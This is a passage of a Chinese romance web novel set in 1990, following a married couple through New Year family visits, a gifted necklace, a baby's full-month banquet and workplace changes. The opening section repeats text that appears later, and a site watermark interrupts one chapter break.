听到这话,李固言终于忍不住紧紧搂住她,柔弱无骨的腰肢被大掌揽住,瀑布般的墨发轻轻晃动,发梢时不时扫过他暴露在空气中的小臂,有些痒。 窗外还在断断续续响着鞭炮声,新年真正到来,气氛热烈而喜庆。 “嘟嘟。”嵌着玻璃的木门被敲响,李妈在外面道:“固言,小英,起了吗?可以起来吃饺子了。” 舒英被这一声拉回现实,身子动了动想从李固言怀里起来,却不想李固言手下用力,又将她按进了怀里。 门上玻璃处挂了纱帘,用以阻隔屋里屋外的视线,李固言对着纱帘处隐隐约约的身影道:“马上起。” “行,快点儿啊。”李妈说完这句话后离开,李固言还抱着舒英不放。 一直这个姿势也有些不舒服,舒英脸上红晕不褪,扭了扭身体低声道:“松开我。” 李固言将头埋在她脖颈间深吸了一口气,鼻腔充满了她身体的馨香,闷闷地笑了笑,胸腔震动。 舒英撑着他胸膛起身,看着他脸上的笑也有些不好意思,瞥了他一眼扭过身去穿衣服。 李固言脸上笑意不散,等她将毛衣穿好后,拉住她手腕,一个用力,舒英又被拽回来坐下。 “你别闹,爸妈还在外面呢。”舒英生怕他现在胡闹起来,被外面的长辈听见。 李固言只笑不说话,上半身倾过去,与她咫尺之间,近得能看见她脸上的细小绒毛。 舒英看着他的脸,刀削斧刻般精致立体,浓密的睫毛微微下垂,视线黏在她唇上。 就在她以为他不会再进一步准备起身时,李固言动了,他握住她手腕,闭着眼压到她唇上,霸道地掠夺她口中津液,勾着她小舌吮吸。 刺痛酸麻从舌尖传来,舒英推了推他,李固言纹丝不动,双手寻到她指尖,与之相扣,侵城掠地般将她压倒,颇具侵略性的气息大团大团地扑在她脸上。 “嫂子,怎么感觉你嘴唇有点肿了?”李固萱关心地看着她,疑惑问道。 舒英有些不自在的摸了摸嘴唇,眼神飘忽,“刚刚喝水杯子磕到了。”说完狠狠瞪了一眼始作俑者李固言。 李固言小心觑着她神色,无辜地眨了眨眼。 李固萱不疑有他,叮嘱道:“那你这磕的有点厉害,下次喝水还是要小心点。” “嗯嗯。”舒英将这话题敷衍过去,不解恨似的又伸手在李固言腰间拧了一把。 她手下一点不留情,李固言忍痛闷哼一声。 吃了早饭就有邻居串着门子拜年了,舒英对她们不太熟悉,但出于礼貌还是乖巧地坐在沙发上听她们和李妈闲聊。 不过她不认识她们,她们对于她却很是好奇的。 李家的儿媳妇,在二院上班,平时都是跟李固言单独住在机械厂家属院里,除了节假日回来一趟,一般也不怎么见到,李妈又不是那种喜欢把自己的家事拿出去到处说的人,因此舒英在她们之中算得上是神秘。 舒英见几人话题拐到自己身上,无伤大雅的问题,她就笑着回答了,涉及隐私的事情就笑笑不说话。 一套下来,可以说能说的都说了,不该说的,一个字都没往外蹦,滴水不漏。 但总有那么几个多管闲事的,其中一个圆脸妇人笑眯眯对李妈道:“我记得固言他们俩是87年结的婚吧?”舒英隐隐记得她姓卫。 李妈:“劳动节放假办的婚礼嘛。” 一人插话道:“今天都九零年了,这结婚两年半了。” “两年半多了!”圆脸妇人补充说,“这结婚时间可不短了,像有的人家刚结婚一年就抱上孩子了,你们家这有点慢了。” 李妈脸色僵了僵,她就知道卫巧这人没安好心,她儿子媳妇什么时候生关她什么事,用得着她咸吃萝卜淡操心! 李妈瞥了她一眼,语气不咸不淡,“这不是两孩子都忙嘛,哪像您家的,有的是时间。”她家儿 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但今天恐怕是做不了了,舒英双手一摊,“这边没摩丝。” “好吧。”语气听着还有些失落。 舒英好笑地在他柔软的头发上摸了一把,指腹轻轻擦过头皮,激起一股酥痒。 上午李固萍一家三口先来,她丈夫也是一院的医生,两人生了一个儿子,才四五岁,小名齐齐,见了舒英奶声奶气地喊:“舅妈。” 舒英捏了捏他白白嫩嫩的小圆脸,把提前准备好的红包递给他,“祝齐齐新年快乐!新的一年要长高高噢!” 齐齐看着红包第一时间是转头先去看妈妈的反应,等李固萍点头才乖巧接下,还懂事地道谢:“谢谢舅妈。” 李妈瞧着外孙站在儿子媳妇身边,心里也有些想法,儿子一结婚,她当妈的肯定是想抱孙子的,也催了几回,每次儿子都说工作忙,过两年在生,儿子都这样说了,她再急也只能忍着,这番想完,也从口袋里掏出红包笑眯眯地塞外孙兜里。 “谢谢姥姥。” “哎!不用谢,咱齐齐真乖!”李妈牵着外孙的小手,觉得怎么看怎么喜欢。 舒英和李固言又坐了会儿,也该去她娘家了。 李固言从房间里把提前备好的礼拎着,跟姐姐姐夫打了招呼后就带着舒英回舒家。 刚到舒家门口,舒英正准备敲门就听见楼梯上传来动静,“小英?你们回娘家来了?” 舒英扭头去看,是住在楼上的严建中和他妻子,她笑道:“是啊,建中哥,嫂子,你们这也是回娘家?” “对,今天初二,可不就是回娘家嘛!” 楼上楼下的邻居,又是从小玩到大的,舒英难免跟人闲叙了几句。 李固言也是第一次和严建中正面碰上,他看着妻子眼中的笑意,咬着后槽牙扯出一个笑来。 严建中总觉得谁在不怀好意地看着他,纳闷儿地转头看过去,又什么都没发现,只觉得舒英这个丈夫笑的实在有些假。 第 20 章【VIP】 第20章 第 20 章 项链 大年初一, 舒英是被鞭炮声吵醒的。 外面天还没亮,楼下就已经“劈里啪啦”地响起炮声了。 “醒了?”李固言见她睁眼抬手将房间里的灯拉开。 “嗯。”舒英眨眨眼,打了个呵欠, 脑子还不太清醒。 李固言看她睡眼惺忪, 忍不住笑了笑,长臂一伸去够椅子上的棉袄,从袄兜里掏了一个盒子出来递给她。 “什么东西?”舒英迷迷糊糊地接过盒子, 暗红色的丝绒盒,盒子最中间印着鎏金的金店品牌名。 李固言没回她这个问题,只道:“你打开看看。” 舒英瞧了他一眼,把另一只手也从被子里伸出来, 拇指反方向用力,将丝绒盒打开,是一条金项链,金子的光辉在室内灯光的照耀下更显流光溢彩。 李固言一直观察着她的表情, 心里有些忐忑地问道:“你喜欢吗?” “你什么时候买的?”舒英将项链从盒子里拿出来, 放在手心仔细欣赏,这是一条细链, 中间穿了一个环形的金子平安扣, 坠子微微有些哑光,很有质感,很漂亮。 李固言瞧她神色不像是不喜欢,稍稍放下心, 老实回答:“前天下班去买的,你喜欢吗?” 舒英垂下眼,轻轻点头,“喜欢。”随后她从床上坐起来, 把长发捋到胸前,将项链放他手里说,“你帮我戴上。” 昏黄的灯光照在她细腻的脖颈处,李固言喉结滚动,长长的手指在她颈间游走,扣上项链锁扣,“好了。” 舒英接过他递过来的镜子,放在胸前照了照,硬币大小的平安扣正正好坠在锁骨下方,稍微有些冰凉地贴在肌肤上,很漂亮。 舒英镜子微微侧了侧,李固言坐在她身后看着她,眼神期待又宠溺,好似突然发现她在通过镜子看自己,有些不好意思地红了脸。 舒英笑起来,放下镜子,转过身扑进他怀里,贴着他炙热的胸膛,正好感受到他汹涌的心跳。 李固言不妨她的动作,双手还有些无措地悬停在空中,刚想动作就听她道:“谢谢你的新年礼物,我很喜欢,很喜欢很喜欢。”小时候家里孩子多,并不算富裕,过年就算是压岁钱都只是在枕下放一夜,更别提送礼物了。 这是她第一次收到意料之外的惊喜。 听到这话,李固言终于忍不住紧紧搂住她,柔弱无骨的腰肢被大掌揽住,瀑布般的墨发轻轻晃动,发梢时不时扫过他暴露在空气中的小臂,有些痒。 窗外还在断断续续响着鞭炮声,新年真正到来,气氛热烈而喜庆。 “嘟嘟。”嵌着玻璃的木门被敲响,李妈在外面道:“固言,小英,起了吗?可以起来吃饺子了。” 舒英被这一声拉回现实,身子动了动想从李固言怀里起来,却不想李固言手下用力,又将她按进了怀里。 门上玻璃处挂了纱帘,用以阻隔屋里屋外的视线,李固言对着纱帘处隐隐约约的身影道:“马上起。” “行,快点儿啊。”李妈说完这句话后离开,李固言还抱着舒英不放。 一直这个姿势也有些不舒服,舒英脸上红晕不褪,扭了扭身体低声道:“松开我。” 李固言将头埋在她脖颈间深吸了一口气,鼻腔充满了她身体的馨香,闷闷地笑了笑,胸腔震动。 舒英撑着他胸膛起身,看着他脸上的笑也有些不好意思,瞥了他一眼扭过身去穿衣服。 李固言脸上笑意不散,等她将毛衣穿好后,拉住她手腕,一个用力,舒英又被拽回来坐下。 “你别闹,爸妈还在外面呢。”舒英生怕他现在胡闹起来,被外面的长辈听见。 李固言只笑不说话,上半身倾过去,与她咫尺之间,近得能看见她脸上的细小绒毛。 舒英看着他的脸,刀削斧刻般精致立体,浓密的睫毛微微下垂,视线黏在她唇上。 就在她以为他不会再进一步准备起身时,李固言动了,他握住她手腕,闭着眼压到她唇上,霸道地掠夺她口中津液,勾着她小舌吮吸。 刺痛酸麻从舌尖传来,舒英推了推他,李固言纹丝不动,双手寻到她指尖,与之相扣,侵城掠地般将她压倒,颇具侵略性的气息大团大团地扑在她脸上。 “嫂子,怎么感觉你嘴唇有点肿了?”李固萱关心地看着她,疑惑问道。 舒英有些不自在的摸了摸嘴唇,眼神飘忽,“刚刚喝水杯子磕到了。”说完狠狠瞪了一眼始作俑者李固言。 李固言小心 觑着她神色,无辜地眨了眨眼。 李固萱不疑有他,叮嘱道:“那你这磕的有点厉害,下次喝水还是要小心点。” “嗯嗯。”舒英将这话题敷衍过去,不解恨似的又伸手在李固言腰间拧了一把。 她手下一点不留情,李固言忍痛闷哼一声。 吃了早饭就有邻居串着门子拜年了,舒英对她们不太熟悉,但出于礼貌还是乖巧地坐在沙发上听她们和李妈闲聊。 不过她不认识她们,她们对于她却很是好奇的。 李家的儿媳妇,在二院上班,平时都是跟李固言单独住在机械厂家属院里,除了节假日回来一趟,一般也不怎么见到,李妈又不是那种喜欢把自己的家事拿出去到处说的人,因此舒英在她们之中算得上是神秘。 舒英见几人话题拐到自己身上,无伤大雅的问题,她就笑着回答了,涉及隐私的事情就笑笑不说话。 一套下来,可以说能说的都说了,不该说的,一个字都没往外蹦,滴水不漏。 但总有那么几个多管闲事的,其中一个圆脸妇人笑眯眯对李妈道:“我记得固言他们俩是87年结的婚吧?”舒英隐隐记得她姓卫。 李妈:“劳动节放假办的婚礼嘛。” 一人插话道:“今天都九零年了,这结婚两年半了。” “两年半多了!”圆脸妇人补充说,“这结婚时间可不短了,像有的人家刚结婚一年就抱上孩子了,你们家这有点慢了。” 李妈脸色僵了僵,她就知道卫巧这人没安好心,她儿子媳妇什么时候生关她什么事,用得着她咸吃萝卜淡操心! 李妈瞥了她一眼,语气不咸不淡,“这不是两孩子都忙嘛,哪像您家的,有的是时间。”她家儿子到现在还没找到个正经事干,整日在家里闲躺着,是满楼都知道的事。 果不其然,卫巧听到这话,被戳了心窝子,脸色瞬间变得不好看,站起身板着脸道:“我家里还有事,我先回去了。” 其她人不好说什么,都面上带笑,招呼两句后瞧着她气呼呼地出了门。 舒英不知道长辈之间的官司事,坐下听了一耳朵才弄明白。 原来这个叫卫巧的阿姨和李妈年轻时一块儿进的厂,俩人一开始关系还行,结果后来李妈先当上了小组长,她就生气了,谁曾想两个人后来又成了一栋楼的邻居,反正日常就是你看不惯我我不搭理你的状态,也不知道今天怎么的非要跟着别人一块儿来李家串门。 初一一过去,一个年几乎也就过完了,初二出嫁女回娘家是习俗。 舒英一早起来就对着镜子化妆,李固言坐在她旁边看,等她弄完后把头抵过去说:“你再帮我弄弄头发。” 舒英瞧着他有些不好意思的神色,抿着唇有些想笑,他头发长得好,又黑又浓密,上次用摩丝帮他理了个发型出来后,回来大家都夸好看。 但今天恐怕是做不了了,舒英双手一摊,“这边没摩丝。” “好吧。”语气听着还有些失落。 舒英好笑地在他柔软的头发上摸了一把,指腹轻轻擦过头皮,激起一股酥痒。 上午李固萍一家三口先来,她丈夫也是一院的医生,两人生了一个儿子,才四五岁,小名齐齐,见了舒英奶声奶气地喊:“舅妈。” 舒英捏了捏他白白嫩嫩的小圆脸,把提前准备好的红包递给他,“祝齐齐新年快乐!新的一年要长高高噢!” 齐齐看着红包第一时间是转头先去看妈妈的反应,等李固萍点头才乖巧接下,还懂事地道谢:“谢谢舅妈。” 李妈瞧着外孙站在儿子媳妇身边,心里也有些想法,儿子一结婚,她当妈的肯定是想抱孙子的,也催了几回,每次儿子都说工作忙,过两年在生,儿子都这样说了,她再急也只能忍着,这番想完,也从口袋里掏出红包笑眯眯地塞外孙兜里。 “谢谢姥姥。” “哎!不用谢,咱齐齐真乖!”李妈牵着外孙的小手,觉得怎么看怎么喜欢。 舒英和李固言又坐了会儿,也该去她娘家了。 李固言从房间里把提前备好的礼拎着,跟姐姐姐夫打了招呼后就带着舒英回舒家。 刚到舒家门口,舒英正准备敲门就听见楼梯上传来动静,“小英?你们回娘家来了?” 舒英扭头去看,是住在楼上的严建中和他妻子,她笑道:“是啊,建中哥,嫂子,你们这也是回娘家?” “对,今天初二,可不就是回娘家嘛!” 楼上楼下的邻居,又是从小玩到大的,舒英难免跟人闲叙了几句。 李固言也是第一次和严建中正面碰上,他看着妻子眼中的笑意,咬着后槽牙扯出一个笑来。 严建中总觉得谁在不怀好意地看着他,纳闷儿地转头看过去,又什么都没发现,只觉得舒英这个丈夫笑的实在有些假。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 20-30 第21章 第 21 章 跳舞 和严建中碰上打个招呼对舒英来说不过是一个插曲, 她并没有放在心上,但李固言可不是这样想。 他碰到人的时候第一反应就是打量,打量对方的外貌、气质, 观察对方有没有什么过人之处, 打量完之后,他发现她的妻子婚前眼光实在有些差。 对方个子没他高,长得没他好, 学历和工作能力也不可能比得上他,实在不懂舒英怎么会喜欢上他的。 但舒英就是喜欢他,想到这,李固言有些不开心, 但又不敢表露出来,他俩现在好不容易才变得亲密起来,生怕两人的关系又像上回一样一朝回到解放前。 李固言吸取上回教训,脸上很快扬起一个笑, 牵住妻子的手, 假装无事发生。 舒英不知道他肚里这些七拐八绕的东西,将买来的礼放到客厅里。 舒秀珍现在还在坐月子, 不能出门, 所以今天没来。 王梅以前过完年也都是要回娘家住个一两天的,但今年怀孕,上一胎没保住,这一胎就格外谨慎, 过完年哪儿也没去。 舒妈倒是想去大女儿家伺候女儿坐月子,但王梅上一胎流产搞得婆媳关系紧张,这下王梅重新怀上,舒妈也怕又惹她不高兴, 也在家尽心照顾她。 婆媳关系一松快,整个舒家都显得和谐轻松许多,个个脸上都带了笑。 舒英和李固言在舒家吃了午饭后,下午三四点趁着太阳好就回了机械厂。 到家属院的时候,吴家院门敞开,俩孩子正在院子里晒太阳呢,屋里安安静静的,估计亲戚也是刚走。 吴晓丽眼尖,一眼就看见舒英,笑嘻嘻地过来打招呼:“阿姨,你们回来啦?” 舒英也笑,从包里掏出几块巧克力递给她:“你妈妈呢?” 吴晓丽道谢后回说:“在屋里打扫卫生呢。” “行,阿姨也先回去收拾收拾,回头来找阿姨玩啊。”舒英和李固言两人手里现在还拎着各种东西呢。 推开院门进去,明明才几天没回来,家里的各种陈设都没变,甚至桌子上连灰都没来得及落,但她却感觉跟过了一个世纪一样。 舒英深呼了一口气,觉得在哪都没在自己家舒服,自由自在不用顾忌别人的想法。 两个人放下东西,先将家里里里外外打扫了一遍,才将带回来的东西一一拿出来归置。 今年李妈炸的丸子多,知道她儿子喜欢吃,特意给装了一大包让带回来,做汤炒菜的时候放点,别提多好吃了。 等东西都放好后,舒英打量着屋子,觉得缺了点新年的氛围,她道:“把春联贴上,我在剪几张窗花。” “好。”李固言笑吟吟的,乖顺地将春联把家里的门都贴满。 舒英剪窗花的手艺还是上学的时候跟班里一位女同学学的,那时候上学的课间,女同学之间就很流行钩织、折纸剪纸这种手工艺,她那时候也跟着做了不少东西,到现在都还记得做法。 李固言贴春联贴的快,贴完就坐舒英旁边看她拿一把精巧的剪刀在红纸上动作。 舒英看他一眼,诧异问:“你怎么怎么快弄好了 ?贴的正吗,别贴歪了。” “咱家又没几个门,费不了多少功夫。” 舒英了然地点点头,他们家一个院子大门,一个正门,一个客厅和卧室之间隔绝的门,还有一个厕所门,就这四个门。 李固言瞧着她剪,看着简单的很,剪刀这里动动那里动动,很快一个图案就在红纸上活灵活现的呈现,一时也有些手痒,拿过多余的剪子和红纸在手上摆弄道:“你教教我。” 舒英瞥他一眼,笑得有些狡黠,“那你叫我一声老师,我教你一个最简单的双‘喜’字。” 李固言看着她灵动的眉眼,抿着唇笑,他觉得他们俩现在越来越亲近,他很喜欢。 “舒老师,求你教教我。” 他故意压着声音,尾音上扬,低哑勾人,眼睛还极具魅惑地盯着她,直看到她心底深处。 舒英看着他,觉得头皮发麻,不自在的轻咳一声,“看在你这么好学的份上,我收下你这个徒弟。”边说边动了动屁股,远离他一点。 李固言怎么会注意不到她的小动作,他放下剪刀,手指绕上她微红的耳垂,凑近她,在上面吐息,“老师,徒弟还想学点其它东西……” 舒英瞬间瞪大眼,耳蜗处的气息激起浑身颤栗。 李固言很满意自己的杰作,倾身夺了一个吻,绵长暧昧。 一吻毕,两人都有些气喘,舒英面带红霞,眸色水润,唇上亮晶晶的,分不清是他俩谁留下的。 眼瞧着天快黑了,窗花还没剪好,舒英有些气恼地瞪了他一眼,这一眼娇娇媚媚,李固言非但没感受到威慑,反而还想再亲上去。 舒英双手撑在他胸前推开他,眉头微蹙,嗔道:“我饿了,你去做饭去,别在这打扰我。” “马上去。”李固言嘴上答应,却是直勾勾看着她又啄了一口,眼见要把人惹恼才起身。 舒英瞧着他出去的背影,摸了摸胸前的项链,平安扣微微发热,她垂下眼看着手里窗花的半成品,也忍不住笑了笑。 “你想吃什么?”李固言才跨出门,又折身回来扒着门框,浅笑着看着她问道。 舒英不知道他刚才有没有看到她的动作,一时有些羞恼,拿起筐子里的毛线团扔过去,“吃肉!” 李固言好身手的接过毛线团,乖觉地将它放回竹筐,随后顶着她要吃人般的目光出去,表面好像多稳重,但眼里的热烈却是藏也藏不住。 舒英等他彻底去了厨房后,忍不住摇着头又笑了笑,将毛衣外面的平安扣塞进衣服里,与炙热的肌肤相贴。 舒英说吃肉,李固言当真就炒了一桌子的肉,一道蔬菜也没有。 舒英闭着眼深吸一口气才忍住不去给他一拳,斜了他一眼后,撸起袖子又去厨房清炒了一道小青菜。 吃完饭后,两人将窗花贴在玻璃上,舒英之前还用钩针钩了点小玩意儿,像什么花生柿子之类的小挂坠,也一并挂上去。 房子被布置起来,朝着院子的玻璃窗被装饰的花里胡哨,明明除夕已经过去,两人却恍然有一种今天才是大年的感觉。 李固言一拍脑袋突然想起家里还有之前从厂里拿回来的小彩灯,他在柜子里翻了翻,终于从角落里翻出来。 “这个挂上去肯定好看。” 舒英:“这什么时候拿回来的,我怎么都不记得了?” 李固言边将彩灯粘在窗户上边回道:“前年厂里联欢晚会用的,后来用完了不要了,我就拿回来了。” “还能用吗?” “应该能,我试试。”李固言插上电,彩灯连闪都不闪。 舒英笑起来:“怪不得厂里不要了,原来是质量不好。” 李固言有些尴尬地笑笑,又将粘好的彩灯拿下来,拿在手里检查。 他低着头,蹲在地上,一头乌亮的短发柔顺垂着,昏黄灯光笼罩他的身影,像是给他描了一层金黄的边,朦朦胧胧,刻画着他认真的脸庞。 舒英看着他,不由痴了神。 “好了!”李固言捣鼓一通,小彩灯在他手里亮起来,五颜六色地照着他献宝似的表情,突显着他眼底的纯真,像考了满分的孩子。 舒英别过眼,抿唇笑了笑:“那挂上去吧。” 李固言长手长脚的,站起来将彩灯挂在窗户最上面,绕成弧形的彩灯悬挂着,玻璃窗倒映出它的缤纷多彩,也映出两人并肩而笑的身影。 舒英脑子里突然想起之前小胡说不知道他会不会跳《冬天里的一把火》,放在以前,那个画面她是想都想不出来这么冷峻的人怎么可能会跳那么火热的歌,但是现在…… “你会跳舞吗?” 李固言挑眉,“跳舞?” “嗯,就之前春晚费翔跳的《冬天里的一把火》。” 李固言摇摇头,“不会,怎么了?” 舒英笑起来,眼睛弯弯,像莹莹月光下的一汪清泉,但说出的话却不甚动听,“我想看你跳。” “那恐怕是有些艰难,我从小到大都没跳过舞。”李固言没有拒绝,他侧着头想了想,“不过你要很想看的话,我明天买张碟片去电视上录下来学一学。” 舒英仰着头看着他,突然踮起脚捧着他的脸吻上去,鼻尖抵着脸颊,唇瓣相触,缠绵暧昧。 他没有觉得她的话是天方夜谭,没有敷衍她,而是认真地给出了解决方法,这让她想起小时候。 那时候伙伴间很流行踢毽子,以那种大公鸡的尾羽最好,好不好踢先不提,只因为最漂亮,那时舒英跟舒秀珍共有一个毽子,但说是共有,其实就是舒秀珍的,她只拥有使用权。 所以她就很想有一个自己的毽子,可以招摇地拿出去在朋友间炫耀,一个毽子并不贵,但舒妈觉得姐妹俩玩一个就够了,一直不答应给她买,后来被她磨久了,气得把她捞过来打了一顿,自那以后,舒英再也没说过想要毽子。 李固言对她的主动感到惊喜,手下移至腿弯,将人打横抱起。 无声的烟花在玻璃窗上绽放,绚烂的花朵遮掩住两具交叠的火热身躯。 舒英抱着他,融进他,看着他失神的双眼,像即将干涸的鱼般哑然。 第22章 第 22 章 满月宴 大年初三, 两人在家里窝了一天,临近傍晚时,隔壁吴嫂子带着吴晓丽过来串门。 几人闲聊几句后, 舒英问:“晓丽什么时候开学?” 吴晓丽刚要说话, 吴嫂子就道:“她早了,得过了十五。” 舒英笑了笑:“那还能再玩十来天呢。” “是啊,所以说还是学生轻松啊, 每天就上上学,也不用干其他的。”吴嫂子刚说完,李固言就端着茶过来。 舒英解释说:“这是昨天从我家拿来的花茶,你尝尝怎么样?” 吴晓丽看着杯子里颜色泛红的水, 道:“阿姨,这是不是玫瑰花茶?” “是呢,晓丽真厉害,一看就知道了。” 吴嫂子也好奇问:“你怎么一看就看出来了?” 吴晓丽抿抿唇:“去同学家玩, 同学妈妈泡的。” “我尝尝味道咋样。”吴嫂子听她说完端起杯子喝了口, 点点头道,“好喝, 有股子清香。” 舒英笑着拿过茶壶又给她满上。 吴嫂子眼尖, “哎”了一声说:“你这金项链什么时候买的?怪好看的。” 舒英下意识瞥了一眼旁边的李固言,伸手摸了摸从领口掉出来的平安扣抿唇笑了笑。 吴嫂子立马注意到她的小动作也看了眼李固言,意味深长地笑起来:“没想到李工还这么浪漫哦!我家那口子,跟他结婚这么多年了, 也没见他给我买了项链,别说金的,银的也行啊。” 李固言是不好意思掺和进她们女人之间的话题,又被这么一打趣, 逃也似的出去了,“我去厨房看看 。” 吴嫂子见状笑起来,又挤着眼对舒英说:“你这是有什么方法也跟嫂子说说,我回去也这样调教你吴哥去!” 舒英面皮薄,她这么一说瞬间脸红起来,看着旁边好奇盯着她们瞧的吴晓丽道:“孩子还在呢,嫂子说话真是越来越不顾忌了。” 吴嫂子迎着吴晓丽的眼神也有些不好意思起来,轻咳一声转移话题:“别说,这花茶真挺好喝。” 一个年过完,初四就各自去上班,大清早出门,空气凌冽得很。 舒英围巾在脖子上围了一圈又一圈,恨不得将这个头都裹起来才好。 李固言瞧着她围巾围得就露两颗水灵灵的大眼,可爱又滑稽,没忍住笑了笑,说:“我送你去吧?” “不用。”舒英拒绝道,“本来就够冷了,坐车上风一吹更冷了,还不如我自己走一走的暖和。” 路上积雪不化,一猜一个雪脚印,咯吱咯吱的。 李固言搓了搓她有些冰凉的双手,再给戴上手套,道:“中午就别回来了,在医院食堂吃过后就在医院午休吧。” 舒英点点头,她中午也不想来回折腾,医院还暖和点。 李固言问:“晚上想吃什么?” 舒英抬头看着他,他什么时候变得这么啰嗦了? 李固言看着她的眼神不解问:“怎么了?” 舒英摇摇头,回答上一个问题:“晚上去吃烤肉吧,不想在家里做了,吃完还得收拾。” “那恐怕吃不了。”李固言解释道,“今天才初四,饭店不一定开门呢。” 舒英这才反应过来,叹了一口气,开饭店的都是个体户,现在正搁家过年,估计得过了初八才能开门,而他们这上班的就得按着规定时间到岗。 李固言看了眼时间说:“行,时间差不多了,上班去吧。” 舒英到医院更衣室换工作服,这时候还没正式开始上班,更衣室里三三两两的医护人员聚在一起聊天。 小胡一看见她就立马凑上来,挤眉弄眼地说:“姐,我刚刚突然知道了一个大八卦!” 舒英:“什么八卦?”小胡到底还是小孩子心性,对什么都感兴趣,哪个科室的八卦她都要去听一耳朵,回来又说给她听。 小胡:“这次跟以前的那些不一样!” 这话没说十回也说八回了,舒英笑道:“好,有什么不一样,你说吧,我听着呢。” 小胡见她不以为然,一跺脚凑近她耳朵压着声说:“咱们医院要改革了,而且要来新院长了。” 舒英闻言一挑眉问:“你哪听来的流言?” 二院在安城的地理位置其实是很不错的了,靠近机械大厂,交通也便利,而且占地也不算小,员工宿舍员工食堂一应俱全,按理来说不应该像现在这样死气沉沉,民众一提起二院都摇头。 但这其中也是有历史原因的,大概十多年前,二院医资力量的确是不错,但后来院里两院长争斗,一个有技术得民心,十分受医生尊重爱护,一个是管理型,有权有势。两个人斗得不可开胶,管理型把技术型挤跑了,但技术型带走了一大帮厉害的医生,二院发展因此落后,管理型也受不了,也走了,二院就成了现在这样。 “真的,不是流言。”小胡努了努嘴,指向周边的人,“大家都在说这事儿呢,说上头刚下的决定,新院长是从省里来的。” 舒英半信半疑地看了看四周,看了眼时间将白大褂的扣子扣好,“行了,先别八卦了,上班时间要到了。” 小胡不满:“姐,你怎么一点都不好奇呀!” “我好奇呀。”舒英回道,“但这种事情真真假假的,还是等上头文件下来再说吧,目前最重要的还是好好工作,别被领导揪了错处,把你狠批一顿。” 事实证明,有时候小道消息也并非全都是假的,果然没两天,上头的正式文件就下来了,对二院以后的发展做了充分说明。 大致意思就是要引进先进设备,吸收前进人才之类的。 新院长也没多久就到任了,刚来第一天就开大会跟大家见了个面,舒英打量着,外表看上去是一个威严却又不失和蔼的人,身材清癯。说话也没有拖泥带水打官腔,三两句就将自己介绍了一下,接着又说起对二院的安排。 倒是和二院原本的领导截然不同。 舒英瞧着站在他旁边盯着大肚腩一脸谄媚的主任,轻轻摇了摇头,也不知道这位新院长的宏图能不能实现。 不知道新院长口中的二院什么时候到来,贝贝的满月宴却是按时来了。 九零年正月十七,贝贝正好满月,但这天是周一,舒秀珍两口子就把满月宴提前了一天,在正月十六宴客。 星期天天还没亮,舒英和李固言就起床收拾,他们今天要早一点过去,到时候一堆琐事可能要帮忙。 满月宴就设在舒秀珍家旁边的一家饭店里,舒英提前到她家里陪着,此时严爸严妈舒爸舒妈都在了。 这段时间又是过年又是坐月子,舒秀珍被养的珠圆玉润的,眼神也不像以前锋利,多了很多为人母的慈爱。 要去到饭店去,一大家子匆匆忙忙的,舒妈拿着披风给舒秀珍包上:“刚出了月子,身子还弱着呢,别叫风吹着了。” 严妈也把贝贝裹得严严实实抱在怀里,“小家伙睡得倒是香得很,这吵吵闹闹的也没把她吵醒。” 舒妈笑起来,“这点倒跟她妈不像,她妈小的时候可磨人,一天到晚哼哼唧唧,那时候没把我跟她爸愁死。” 严妈道:“那这点不知道随谁了,严磊小时候也是磨人的很,你觉得他睡着了,想给他放床上,这可坏了,一松手就醒了,嗷嗷地哭。” “随谁?随她小姨吧,英儿小时候就乖得很,一点不闹人。”舒妈搂着舒秀珍边走边笑道。 饭店离得近,下楼走两步路就到了,饭店今天被包下来,上面拉着横幅,写着“祝严知仪小朋友满月”几个字,贝贝的大名定下来了,舒秀珍取的,叫严知仪。 进了饭店后,舒秀珍抱着贝贝到温暖的包间里坐着,严磊和严爸严妈在门口迎客。 舒英瞧着被小被子包着的贝贝,满月的孩子长开了点,比刚生下来的时候好看多了,刚出生时身上青一块紫一块,皮肤皱巴巴的,实在是说不出俊俏二字。 也不知道是不是知道自己是今天的主角,睡了一路的贝贝终于是醒了,两只眼睛圆溜溜的睁着,乌亮亮的,黑葡萄似的。 舒英:“我们小贝贝醒了,是不是要吃奶啦?” 舒秀珍摸了摸她的笑脸,贝贝看见她,瞬间露出一个笑,咧着嘴,牙床上一颗牙也没有,瞧的人心软软。 包间里暖和,贝贝也就没裹那么严实,两只小胳膊伸出来,小拳头攥着,不知道在挥舞什么。 舒英将食指放在贝贝手上,瞬间被抓握住,她笑起来:“小小的人,力气还不小噢。” 舒秀珍也笑:“力气是真不小,这手要是抓到头发,力气大的感觉能给你薅下来,我都说等出了月子就得去把头发剪短,省的被她抓。” “那你这出了月子恐怕还得再等一段时间,起码得半个月后了。”舒英眼睛弯起来,瞧着旁边的舒妈道,“要不然妈要打你了。” 一时跟其他人聊天的舒妈没顾上这边,听到这话扭过头来问:“你们姐俩这聊什么呢。” 舒英:“姐想剪头,我说得出了正月,要不你要打她了!” 舒妈这听懂了,笑着抬手锤了她一下。 李固言也笑,伸手牵住她的手捏了捏。 第23章 第 23 章 出差 正月过完了, 春天来得也快,不过一眨眼的功夫。 机械厂里,陈主任将李固言叫到办公室。 陈主任坐在皮革椅子上看着眼前的人, 年前升职的事他是有点愧疚在身上 的, 但奈何他的愧疚不值钱。 李固言顺从地坐着,听陈主任道:“下星期广州有个交流会,你跟我去一趟。” 这种交流会倒也是常有的, 跟行业里的人交流一番,也能更清楚的了解行业当前的情况,而且也是拓展人脉的好机会,谁知道里面会不会遇上什么机遇, 所以这种出差也算得上是一个好机会。 李固言点头答应。 陈主任瞧着他还想再说些什么勉励年轻人的话,话到嘴边瞅到他那副处事不惊的脸,得,社会就是这个样子, 人自己心里也清楚, 他说与不说也改变不了什么,他点了点头摆摆手道:“行, 你先出去工作吧, 这两天回去把行李收拾好,咱后天去,约莫着要在那待好几天呢,该带的东西别漏了。” 李固言今天也没加班, 一到点就直奔家里去,他到家的时候舒英也才刚回来。 二院换了新院长,瞧着倒真焕然一新了,以前工作人员都懒懒散散, 没到点呢就走的差不多了,来挂号的病人不早点来护士都不愿意给挂。 新院长是抱着决心要好好将二院发展起来的,规章制度也要求医护们严格遵守,再想像之前那样招呼不打就早下班是不太可能了,一时之间,以往好划水的人是叫苦连天,但这时候家里没点关系,这样一份体面工作可不好再找,也只好硬着头皮适应。 舒英对医院里的变化不做评论,但她私心里是喜欢的,毕竟药房里四个人,一个小胡还是没定下来的实习生,另外两个都是走了门路进来的,她们以往偷懒,活计就都是她顶着,现在她们没法偷懒,她也能轻松不少。 